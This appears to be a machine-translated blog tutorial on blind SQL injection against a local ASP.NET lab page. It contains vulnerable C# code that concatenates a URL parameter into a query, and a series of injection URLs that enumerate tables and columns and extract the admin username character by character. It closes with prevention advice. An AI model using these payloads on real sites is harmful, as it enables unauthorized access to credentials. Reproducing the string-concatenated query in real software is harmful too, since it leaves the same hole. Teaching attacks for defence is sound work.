WEB Security SQL Injection <1> Blind Injection

SQL injection is a relatively "old" topic. Although there are relatively few sites with this kind of vulnerability now, we still need to understand its harm and its common methods. Knowing yourself and the enemy can win all battles. Offense and defense are equivalent to the relationship between spear and shield. If we can clearly understand

The whole process of the attack can better prevent the occurrence of similar situations.

 The principle of SQL injection    is mainly that the attacker uses some vulnerabilities of the attacked page (usually caused by the carelessness of programmers) to change the SQL statement executed by the database, so as to achieve the purpose of obtaining "unauthorized information".

    The following set up the experimental environment for testing. First of all, let me tell you that the development language of the test environment is Asp.net, the database uses MSQL, the test page simulates an ordinary news page, and parameters are accepted in the URL? id=1 to get the article ID,

The query statement is spliced ​​directly through the obtained ID in the background, without filtering sensitive characters, thus leaving an organic loophole for the intruder. The following is the background code:

    public partial class NewsInfo : System.Web.UI.Page
    {
        protected NewsModel _news = new NewsModel();
        protected void Page_Load(object sender, EventArgs e)
        {
            var id = Request["id"];
            var sqlStr = "select * from news where id=" + id;
            var sqlCon = SqlHelper.GetConnection();

            try
            {
                var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);

                if (ds.Tables[0].Rows.Count <= 0) return;

                _news.Title = ds.Tables[0].Rows[0]["title"].ToString();
                _news.Text = ds.Tables[0].Rows[0]["text"].ToString();
                _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd");
            }
            catch (Exception ex)
            {

            }
        }
    }

   1. Process reproduction

  

 1. Test for injection vulnerabilities 

      Enter http://localhost:2003/newsInfo?id=1 and 1=1 in the browser, and the page is normal. The SQL statement executed in the background is: select * from news where id=1 and 1=1

  Enter http://localhost:2003/newsInfo?id=1 and 1=2 and the page is blank, the data cannot be displayed (the SQL statement executed in the background is: select * from news where id=1 and 1=2), and the page has an injection vulnerability .

 

2. Guess the database table name

    Since there is a loophole, I am going to do something. The main purpose is to get the password of the background administrator. First, let's see what tables are in the database.

  http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0 No data, continue guessing... N times,

 终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

 Here is to use the following conditions to query the database table. If the table does not exist, an error will be reported in the background. The background of this test example handles the exception, but the data must not come out.

The data display is normal, indicating that the table user exists, and it is judged to be a user table

3. Table field guessing

http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次

http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0 The page data is normal as shown below

Said that the name table user has a pwd field

Similarly, confirm that the name field exists in the table user.

4. How many pieces of data are there in the query table 

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 returns blank page

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 returns blank page

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1 The page is normal and there is only one user.

5. Username Guessing

   <A> username length,

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3 , return blank page

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 , return blank page

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5 , return to the normal page, make sure the user name is 5 characters

<B> Username guessing

         The first one http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20, return to the normal page...... .. 

                     Guess N times below

         http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, return to normal page

                      http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97 returns a blank page

                       This shows that the first ASCII value is 97, corresponding to the letter a

          By analogy, the 2nd, 3rd.....5th, guess the user name admin, here mainly use the ASCII and SUBSTRING functions, if you are not familiar with these two functions, please Baidu yourself, the following It is a screenshot of the guessing process.

       

Username guessed successfully.

6. Password guessing

    The user name is fixed, and the password idea is the same

    <A> Determine the password length first

    <B> Guess the password one by one, the injected sql statement will not be written here, same as username guessing

   So far, the rectification of the website management background has fallen.

2. Prevention methods

   1. Perform input verification in the background and filter sensitive characters. (In some cases, it is not completely safe, there may be missing sensitive characters, and attackers can escape key characters to bypass filtering)

 2. Use stored procedures (inflexible, too many stored procedures are not easy to maintain, especially if the stored procedure involves business, it will be a disaster for future maintenance, and it is not easy to find if there is a problem)

   3. Use parameterized query to avoid splicing SQL, so don't splice SQL statements. (Of course, in this example, as long as the parameter ID is judged to be a number, there will be no problem.)

   4. Using some open source frameworks can also effectively avoid SQL injection.

CSDN spree: "Hacker & Network Security Introduction & Advanced Learning Resource Pack" free sharing

Guess you like

Origin blog.csdn.net/2301_77162959/article/details/131192781